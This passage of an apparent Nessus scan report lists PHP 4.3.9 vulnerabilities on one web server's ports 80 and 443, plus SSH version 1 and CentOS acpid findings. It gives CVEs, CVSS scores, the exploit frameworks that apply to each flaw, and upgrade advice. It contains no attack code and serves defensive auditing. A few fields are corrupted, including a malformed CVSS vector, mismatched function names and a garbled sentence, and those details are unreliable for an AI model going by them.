Installed version : 4.3.9
Fixed version : 4.4.1 / 5.0.6
```

22268 - PHP < 4.4.3 / 5.1.4 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.3 / 5.1.4. Such versions may be affected by several issues, including a buffer overflow, heap corruption, and a flaw by which a variable may survive a call to 'unset()'.

See Also

<http://www.nessus.org/u?a7553cd8>

<http://www.nessus.org/u?ccaf872d>
<https://www.securityfocus.com/archive/1/archive/1/442437/100/0/threaded>
http://us3.php.net/releases/4_4_3.php
http://us3.php.net/releases/5_1_3.php
http://www.php.net/release_5_1_4.php

Solution

Upgrade to PHP version 4.4.3 / 5.1.4 or later.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	17296
BID	17362
BID	17439
BID	17843
BID	18116
BID	18645
BID	49634
CVE	CVE-2006-0996
CVE	CVE-2006-1490
CVE	CVE-2006-1494
CVE	CVE-2006-1608
CVE	CVE-2006-1990
CVE	CVE-2006-1991
CVE	CVE-2006-2563
CVE	CVE-2006-2660
CVE	CVE-2006-3011
CVE	CVE-2006-3016
CVE	CVE-2006-3017
CVE	CVE-2006-3018
CVE	CVE-2006-4433
XREF	CWE:79

Plugin Information

Published: 2006/08/25, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.3 / 5.1.4
```

22268 - PHP < 4.4.3 / 5.1.4 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.3 / 5.1.4. Such versions may be affected by several issues, including a buffer overflow, heap corruption, and a flaw by which a variable may survive a call to 'unset()'.

See Also

<http://www.nessus.org/u?a7553cd8>
<http://www.nessus.org/u?ccaf872d>
<https://www.securityfocus.com/archive/1/archive/1/442437/100/0/threaded>
http://us3.php.net/releases/4_4_3.php
http://us3.php.net/releases/5_1_3.php
http://www.php.net/release_5_1_4.php

Solution

Upgrade to PHP version 4.4.3 / 5.1.4 or later.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	17296
BID	17362
BID	17439
BID	17843
BID	18116
BID	18645
BID	49634
CVE	CVE-2006-0996
CVE	CVE-2006-1490
CVE	CVE-2006-1494
CVE	CVE-2006-1608
CVE	CVE-2006-1990
CVE	CVE-2006-1991
CVE	CVE-2006-2563
CVE	CVE-2006-2660
CVE	CVE-2006-3011
CVE	CVE-2006-3016
CVE	CVE-2006-3017
CVE	CVE-2006-3018
CVE	CVE-2006-4433
XREF	CWE:79

Plugin Information

Published: 2006/08/25, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.3 / 5.1.4
```

17710 - PHP < 4.4.4 Multiple Vulnerabilities**Synopsis**

The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.4. As such, it is potentially affected by the following vulnerabilities :

- The c-client library 2000, 2001, or 2004 for PHP does not check the safe_mode or open_basedir functions.
(CVE-2006-1017)

- A buffer overflow exists in the sscanf function.
(CVE-2006-4020)

See Also

<https://bugs.php.net/bug.php?id=38322>
http://www.php.net/releases/4_4_4.php

Solution

Upgrade to PHP version 4.4.4 or later.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	16878
BID	19415
CVE	CVE-2006-1017
CVE	CVE-2006-4020

Plugin Information

Published: 2011/11/18, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.4
```

17710 - PHP < 4.4.4 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.4. As such, it is potentially affected by the following vulnerabilities :

- The c-client library 2000, 2001, or 2004 for PHP does not check the safe_mode or open_basedir functions.
(CVE-2006-1017)

- A buffer overflow exists in the sscanf function.
(CVE-2006-4020)

See Also

<https://bugs.php.net/bug.php?id=38322>
http://www.php.net/releases/4_4_4.php

Solution

Upgrade to PHP version 4.4.4 or later.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	16878
BID	19415
CVE	CVE-2006-1017
CVE	CVE-2006-4020

Plugin Information

Published: 2011/11/18, Modified: 2025/05/26

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.4

24906 - PHP < 4.4.5 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.5. Such versions may be affected by several issues, including buffer overflows, format string vulnerabilities, arbitrary code execution, 'safe_mode' and 'open_basedir' bypasses, and clobbering of super-globals.

See Also

http://www.php.net/releases/4_4_5.php

Solution

Upgrade to PHP version 4.4.5 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID	22496
BID	22805
BID	22806
BID	22833
BID	22862
BID	23119
BID	23120
BID	23169
BID	23219
BID	23233
BID	23234
BID	23235
BID	23236
CVE	CVE-2006-4625
CVE	CVE-2007-0905
CVE	CVE-2007-0906
CVE	CVE-2007-0907
CVE	CVE-2007-0908
CVE	CVE-2007-0909
CVE	CVE-2007-0910
CVE	CVE-2007-0988
CVE	CVE-2007-1286
CVE	CVE-2007-1376
CVE	CVE-2007-1378
CVE	CVE-2007-1379
CVE	CVE-2007-1380
CVE	CVE-2007-1700
CVE	CVE-2007-1701
CVE	CVE-2007-1777
CVE	CVE-2007-1825
CVE	CVE-2007-1835
CVE	CVE-2007-1884
CVE	CVE-2007-1885
CVE	CVE-2007-1886
CVE	CVE-2007-1887
CVE	CVE-2007-1890
XREF	CWE:20
XREF	CWE:399

Exploitable With

Metasploit (true)

Plugin Information

Published: 2007/04/02, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.5
```

24906 - PHP < 4.4.5 Multiple Vulnerabilities**Synopsis**

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.5. Such versions may be affected by several issues, including buffer overflows, format string vulnerabilities, arbitrary code execution, 'safe_mode' and 'open_basedir' bypasses, and clobbering of super-globals.

See Also

http://www.php.net/releases/4_4_5.php

Solution

Upgrade to PHP version 4.4.5 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID	22496
BID	22805
BID	22806
BID	22833
BID	22862
BID	23119
BID	23120
BID	23169
BID	23219
BID	23233
BID	23234
BID	23235
BID	23236
CVE	CVE-2006-4625
CVE	CVE-2007-0905
CVE	CVE-2007-0906
CVE	CVE-2007-0907
CVE	CVE-2007-0908
CVE	CVE-2007-0909
CVE	CVE-2007-0910
CVE	CVE-2007-0988
CVE	CVE-2007-1286
CVE	CVE-2007-1376
CVE	CVE-2007-1378
CVE	CVE-2007-1379
CVE	CVE-2007-1380
CVE	CVE-2007-1700
CVE	CVE-2007-1701
CVE	CVE-2007-1777
CVE	CVE-2007-1825

CVE	CVE-2007-1835
CVE	CVE-2007-1884
CVE	CVE-2007-1885
CVE	CVE-2007-1886
CVE	CVE-2007-1887
CVE	CVE-2007-1890
XREF	CWE:20
XREF	CWE:399

Exploitable With

Metasploit (true)

Plugin Information

Published: 2007/04/02, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.5
```

29833 - PHP < 4.4.8 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple issues.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.8. Such versions may be affected by several issues, including integer overflows involving the 'chunk_split', 'strcspn', and 'strspn' functions, and 'safe_mode' / 'open_basedir' bypasses.

See Also

http://www.php.net/releases/4_4_8.php

Solution

Upgrade to PHP version 4.4.8 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	24661
BID	49631
CVE	CVE-2007-3378
CVE	CVE-2007-3799
CVE	CVE-2007-3997
CVE	CVE-2007-4657
CVE	CVE-2007-4658
CVE	CVE-2008-0145
CVE	CVE-2008-2108
XREF	CWE:20
XREF	CWE:119
XREF	CWE:189
XREF	CWE:264

Plugin Information

Published: 2008/01/03, Modified: 2025/05/26

Plugin Output

tcp/80/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.8

29833 - PHP < 4.4.8 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple issues.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.8. Such versions may be affected by several issues, including integer overflows involving the 'chunk_split', 'strcspn', and 'strspn' functions, and 'safe_mode' / 'open_basedir' bypasses.

See Also

http://www.php.net/releases/4_4_8.php

Solution

Upgrade to PHP version 4.4.8 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	24661
BID	49631
CVE	CVE-2007-3378
CVE	CVE-2007-3799
CVE	CVE-2007-3997
CVE	CVE-2007-4657
CVE	CVE-2007-4658
CVE	CVE-2008-0145
CVE	CVE-2008-2108
XREF	CWE:20
XREF	CWE:119
XREF	CWE:189
XREF	CWE:264

Plugin Information

Published: 2008/01/03, Modified: 2025/05/26

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.8

33849 - PHP < 4.4.9 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple issues.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.9. Such versions may be affected by several security issues :

- There are unspecified issues in the bundled PCRE library fixed by version 7.7.
- A buffer overflow in the 'imagedloadfont()' function in 'ext/gd/gd.c' can be triggered when a specially crafted font is given. (CVE-2008-3658)
- A buffer overflow exists in the internal 'memnstr()' function, which is exposed to userspace as 'explode()'.
(CVE-2008-3659)
- A denial of service vulnerability exists when a filename contains 2 dots. (CVE-2008-3660)
- An 'open_basedir' handling issue in the curl extension.
- 'mbstring.func_overload' set in '.htaccess' becomes global. (CVE-2009-0754)

Note that the release announcement states this will be the last release for the PHP 4.4 series.

See Also

<https://www.openwall.com/lists/oss-security/2008/08/08/2>
http://www.php.net/releases/4_4_9.php
<http://www.php.net/ChangeLog-4.php#4.4.9>
<https://bugs.php.net/bug.php?id=27421>

Solution

Upgrade to PHP version 4.4.9 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	27413
BID	30649
BID	31612
BID	33542
CVE	CVE-2007-4850
CVE	CVE-2008-3658
CVE	CVE-2008-3659
CVE	CVE-2008-3660
CVE	CVE-2009-0754
XREF	SECUNIA:31409
XREF	CWE:20
XREF	CWE:119
XREF	CWE:134
XREF	CWE:264

Plugin Information

Published: 2008/08/08, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.9
```

33849 - PHP < 4.4.9 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple issues.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.9. Such versions may be affected by several security issues :

- There are unspecified issues in the bundled PCRE library fixed by version 7.7.
- A buffer overflow in the 'imagedownload()' function in 'ext/gd/gd.c' can be triggered when a specially crafted font is given. (CVE-2008-3658)
- A buffer overflow exists in the internal 'memnstr()' function, which is exposed to userspace as 'explode()'.
(CVE-2008-3659)
- A denial of service vulnerability exists when a filename contains 2 dots. (CVE-2008-3660)
- An 'open_basedir' handling issue in the curl extension.
- 'mbstring.func_overload' set in '.htaccess' becomes global. (CVE-2009-0754)

Note that the release announcement states this will be the last release for the PHP 4.4 series.

See Also

<https://www.openwall.com/lists/oss-security/2008/08/08/2>
http://www.php.net/releases/4_4_9.php
<http://www.php.net/ChangeLog-4.php#4.4.9>
<https://bugs.php.net/bug.php?id=27421>

Solution

Upgrade to PHP version 4.4.9 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	27413
BID	30649
BID	31612
BID	33542
CVE	CVE-2007-4850
CVE	CVE-2008-3658
CVE	CVE-2008-3659
CVE	CVE-2008-3660
CVE	CVE-2009-0754
XREF	SECUNIA:31409
XREF	CWE:20
XREF	CWE:119
XREF	CWE:134
XREF	CWE:264

Plugin Information

Published: 2008/08/08, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.9
```

41014 - PHP < 5.2.11 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.11. Such versions may be affected by several security issues :

- An unspecified error occurs in certificate validation inside 'php_openssl_apply_verification_policy'.
- An unspecified input validation vulnerability affects the color index in 'imagecolortransparent()'.
- An unspecified input validation vulnerability affects exif processing.
- Calling 'popen()' with an invalid mode can cause a crash under Windows. (Bug #44683)
- An integer overflow in 'xml_utf8_decode()' can make it easier to bypass cross-site scripting and SQL injection protection mechanisms using a specially crafted string with a long UTF-8 encoding. (Bug #49687)
- 'proc_open()' can bypass 'safe_mode_protected_env_vars'.
(Bug #49026)

See Also

<http://www.php.net/ChangeLog-5.php#5.2.11>
http://www.php.net/releases/5_2_11.php
<http://news.php.net/php.internals/45597>
<http://www.php.net/ChangeLog-5.php#5.2.11>

Solution

Upgrade to PHP version 5.2.11 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36449
BID	44889
CVE	CVE-2009-3291
CVE	CVE-2009-3292
CVE	CVE-2009-3293
CVE	CVE-2009-3294
CVE	CVE-2009-4018
CVE	CVE-2009-5016
XREF	SECUNIA:36791
XREF	CWE:20
XREF	CWE:134
XREF	CWE:264

Plugin Information

Published: 2009/09/18, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.11
```

41014 - PHP < 5.2.11 Multiple Vulnerabilities**Synopsis**

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.2.11. Such versions may be affected by several security issues :

- An unspecified error occurs in certificate validation inside 'php_openssl_apply_verification_policy'.
- An unspecified input validation vulnerability affects the color index in 'imagecolortransparent()'.
An unspecified input validation vulnerability affects exif processing.
- Calling 'popen()' with an invalid mode can cause a crash under Windows. (Bug #44683)
- An integer overflow in 'xml_utf8_decode()' can make it easier to bypass cross-site scripting and SQL injection protection mechanisms using a specially crafted string with a long UTF-8 encoding. (Bug #49687)
- 'proc_open()' can bypass 'safe_mode_protected_env_vars'.
(Bug #49026)

See Also

<http://www.php.net/ChangeLog-5.php#5.2.11>
http://www.php.net/releases/5_2_11.php
<http://news.php.net/php.internals/45597>
<http://www.php.net/ChangeLog-5.php#5.2.11>

Solution

Upgrade to PHP version 5.2.11 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36449
BID	44889
CVE	CVE-2009-3291
CVE	CVE-2009-3292
CVE	CVE-2009-3293
CVE	CVE-2009-3294
CVE	CVE-2009-4018
CVE	CVE-2009-5016
XREF	SECUNIA:36791
XREF	CWE:20
XREF	CWE:134
XREF	CWE:264

Plugin Information

Published: 2009/09/18, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.11
```

35067 - PHP < 5.2.8 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that may be affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is earlier than 5.2.8. As such, it is potentially affected by the following vulnerabilities :

- PHP fails to properly sanitize error messages of arbitrary HTML or script code, would code allow for cross-site scripting attacks if PHP's 'display_errors' setting is

enabled. (CVE-2008-5814)

- Version 5.2.7 introduced a regression with regard to 'magic_quotes' functionality due to an incorrect fix to the filter extension. As a result, the 'magic_quotes_gpc' setting remains off even if it is set to on. (CVE-2008-5844)

See Also

<https://bugs.php.net/bug.php?id=42718>
http://www.php.net/releases/5_2_8.php

Solution

Upgrade to PHP version 5.2.8 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32673
CVE	CVE-2008-5814
CVE	CVE-2008-5844
XREF	CWE:16
XREF	CWE:79

Plugin Information

Published: 2008/12/09, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.2.8
```

35067 - PHP < 5.2.8 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that may be affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is earlier than 5.2.8. As such, it is potentially affected by the following vulnerabilities :

- PHP fails to properly sanitize error messages of arbitrary HTML or script code, would code allow for cross-site scripting attacks if PHP's 'display_errors' setting is enabled. (CVE-2008-5814)

- Version 5.2.7 introduced a regression with regard to 'magic_quotes' functionality due to an incorrect fix to the filter extension. As a result, the 'magic_quotes_gpc' setting remains off even if it is set to on. (CVE-2008-5844)

See Also

<https://bugs.php.net/bug.php?id=42718>
http://www.php.net/releases/5_2_8.php

Solution

Upgrade to PHP version 5.2.8 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32673
CVE	CVE-2008-5814
CVE	CVE-2008-5844
XREF	CWE:16
XREF	CWE:79

Plugin Information

Published: 2008/12/09, Modified: 2025/05/26

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9
 Installed version : 4.3.9
 Fixed version : 5.2.8

58988 - PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution**Synopsis**

The remote web server uses a version of PHP that is affected by a remote code execution vulnerability.

Description

According to its banner, the version of PHP installed on the remote host is earlier than 5.3.12 / 5.4.2, and as such is potentially affected by a remote code execution and information disclosure vulnerability.

An error in the file 'sapi/cgi/cgi_main.c' can allow a remote attacker to obtain PHP source code from the web server or to potentially execute arbitrary code. In vulnerable configurations, PHP treats certain query string parameters as command line arguments including switches such as '-s', '-d', and '-c'.

Note that this vulnerability is exploitable only when PHP is used in CGI-based configurations. Apache with 'mod_php' is not an exploitable configuration.

See Also

<http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>
<https://bugs.php.net/bug.php?id=61910>
<http://www.php.net/archive/2012.php?id=2012-05-03-1>
<http://www.php.net/ChangeLog-5.php#5.3.12>
<http://www.php.net/ChangeLog-5.php#5.4.2>

Solution

Upgrade to PHP version 5.3.12 / 5.4.2 or later. A 'mod_rewrite' workaround is available as well.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
XREF	CERT:520827
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/04, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.12 / 5.4.2
```

58988 - PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution

Synopsis

The remote web server uses a version of PHP that is affected by a remote code execution vulnerability.

Description

According to its banner, the version of PHP installed on the remote host is earlier than 5.3.12 / 5.4.2, and as such is potentially affected by a remote code execution and information disclosure vulnerability.

An error in the file 'sapi/cgi/cgi_main.c' can allow a remote attacker to obtain PHP source code from the web server or to potentially execute arbitrary code. In vulnerable configurations, PHP treats certain query string parameters as command line arguments including switches such as '-s', '-d', and '-c'.

Note that this vulnerability is exploitable only when PHP is used in CGI-based configurations. Apache with 'mod_php' is not an exploitable configuration.

See Also

<http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>
<https://bugs.php.net/bug.php?id=61910>
<http://www.php.net/archive/2012.php#id2012-05-03-1>
<http://www.php.net/ChangeLog-5.php#5.3.12>
<http://www.php.net/ChangeLog-5.php#5.4.2>

Solution

Upgrade to PHP version 5.3.12 / 5.4.2 or later. A 'mod_rewrite' workaround is available as well.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
XREF	CERT:520827
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/04, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.12 / 5.4.2
```

57537 - PHP < 5.3.9 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.3.9. As such, it may be affected by the following security issues :

- The 'is_a()' function in PHP 5.3.7 and 5.3.8 triggers a call to '__autoload()'. (CVE-2011-3379)
- It is possible to create a denial of service condition by sending multiple, specially crafted requests containing parameter values that cause hash collisions when computing the hash values for storage in a hash table. (CVE-2011-4885)
- An integer overflow exists in the exif_process_IFD_TAG function in exif.c that can allow a remote attacker to read arbitrary memory locations or cause a denial of service condition. This vulnerability only affects PHP 5.4.0beta2 on 32-bit platforms. (CVE-2011-4566)
- Calls to libxslt are not restricted via xsltSetSecurityPrefs(), which could allow an attacker to create or overwrite files, resulting in arbitrary code execution. (CVE-2012-0057)
- An error exists in the function 'tidy_diagnose' that can allow an attacker to cause the application to dereference a NULL pointer. This causes the application to crash. (CVE-2012-0781)
- The 'PDORow' implementation contains an error that can cause application crashes when interacting with the session feature. (CVE-2012-0788)
- An error exists in the timezone handling such that repeated calls to the function 'strtotime' can allow a denial of service attack via memory consumption. (CVE-2012-0789)

See Also

<https://www.tenable.com/security/research/tra-2012-01>
http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_PHP5
<http://www.php.net/archive/2012.php#id2012-01-11-1>
<https://seclists.org/bugtraq/2012/Jan/91>
<https://bugs.php.net/bug.php?id=55475>
<https://bugs.php.net/bug.php?id=55776>
<https://bugs.php.net/bug.php?id=53502>
<http://www.php.net/ChangeLog-5.php#5.3.9>

Solution

Upgrade to PHP version 5.3.9 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	49754
BID	50907
BID	51193
BID	51806
BID	51952
BID	51992
BID	52043
CVE	CVE-2011-3379
CVE	CVE-2011-4566
CVE	CVE-2011-4885
CVE	CVE-2012-0057
CVE	CVE-2012-0781
CVE	CVE-2012-0788
CVE	CVE-2012-0789
XREF	TRA:TRA-2012-01

Exploitable With

Core Impact (true)

Plugin Information

Published: 2012/01/13, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.9
```

57537 - PHP < 5.3.9 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 5.3.9. As such, it may be affected by the following security issues :

- The 'is_a()' function in PHP 5.3.7 and 5.3.8 triggers a call to '__autoload()'. (CVE-2011-3379)
- It is possible to create a denial of service condition by sending multiple, specially crafted requests containing parameter values that cause hash collisions when computing the hash values for storage in a hash table. (CVE-2011-4885)
- An integer overflow exists in the exif_process_IFD_TAG function in exif.c that can allow a remote attacker to read arbitrary memory locations or cause a denial of service condition. This vulnerability only affects PHP 5.4.0beta2 on 32-bit platforms. (CVE-2011-4566)
- Calls to libxslt are not restricted via xsltSetSecurityPrefs(), which could allow an attacker to create or overwrite files, resulting in arbitrary code execution. (CVE-2012-0057)
- An error exists in the function 'tidy_diagnose' that can allow an attacker to cause the application to dereference a NULL pointer. This causes the application to crash. (CVE-2012-0781)
- The 'PDORow' implementation contains an error that can cause application crashes when interacting with the session feature. (CVE-2012-0788)
- An error exists in the timezone handling such that repeated calls to the function 'strtotime' can allow a denial of service attack via memory consumption. (CVE-2012-0789)

See Also

<https://www.tenable.com/security/research/tra-2012-01>
http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_PHP5
<http://www.php.net/archive/2012.php#id2012-01-11-1>
<https://seclists.org/bugtraq/2012/Jan/91>
<https://bugs.php.net/bug.php?id=55475>
<https://bugs.php.net/bug.php?id=55776>
<https://bugs.php.net/bug.php?id=53502>
<http://www.php.net/ChangeLog-5.php#5.3.9>

Solution

Upgrade to PHP version 5.3.9 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	49754
BID	50907
BID	51193
BID	51806
BID	51952
BID	51992
BID	52043
CVE	CVE-2011-3379

CVE	CVE-2011-4566
CVE	CVE-2011-4885
CVE	CVE-2012-0057
CVE	CVE-2012-0781
CVE	CVE-2012-0788
CVE	CVE-2012-0789
XREF	TRA:TRA-2012-01

Exploitable With

Core Impact (true)

Plugin Information

Published: 2012/01/13, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.3.9
```

10882 - SSH Protocol Version 1 Session Key Retrieval

Synopsis

The remote service offers an insecure cryptographic protocol.

Description

The remote SSH daemon supports connections made using the version 1.33 and/or 1.5 of the SSH protocol.

These protocols are not completely cryptographically safe so they should not be used.

Solution

Disable compatibility with version 1 of the SSH protocol.

Risk Factor

High

CVSS v3.0 Base Score

7.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	2344
CVE	CVE-2001-0361
CVE	CVE-2001-0572
CVE	CVE-2001-1473
XREF	CWE:310

Plugin Information

Published: 2002/03/06, Modified: 2023/10/27

Plugin Output

tcp/22/ssh

38903 - CentOS 3 / 4 / 5 : acpid (CESA-2009:0474)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated acpid package that fixes one security issue is now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

acpid is a daemon that dispatches ACPI (Advanced Configuration and Power Interface) events to user-space programs.

Anthony de Almeida Lopes of Outpost24 AB reported a denial of service flaw in the acpid daemon's error handling. If an attacker could exhaust the sockets open to acpid, the daemon would enter an infinite loop, consuming most CPU resources and preventing acpid from communicating with legitimate processes. (CVE-2009-0798)

Users are advised to upgrade to this updated package, which contains a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?968fdae6>
<http://www.nessus.org/u?6d7730d6>
<http://www.nessus.org/u?a4af514d>
<http://www.nessus.org/u?1e2abf06>
<http://www.nessus.org/u?5f54063c>
<http://www.nessus.org/u?566ba839>
<http://www.nessus.org/u?24f189da>

Solution

Update the affected acpid package.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

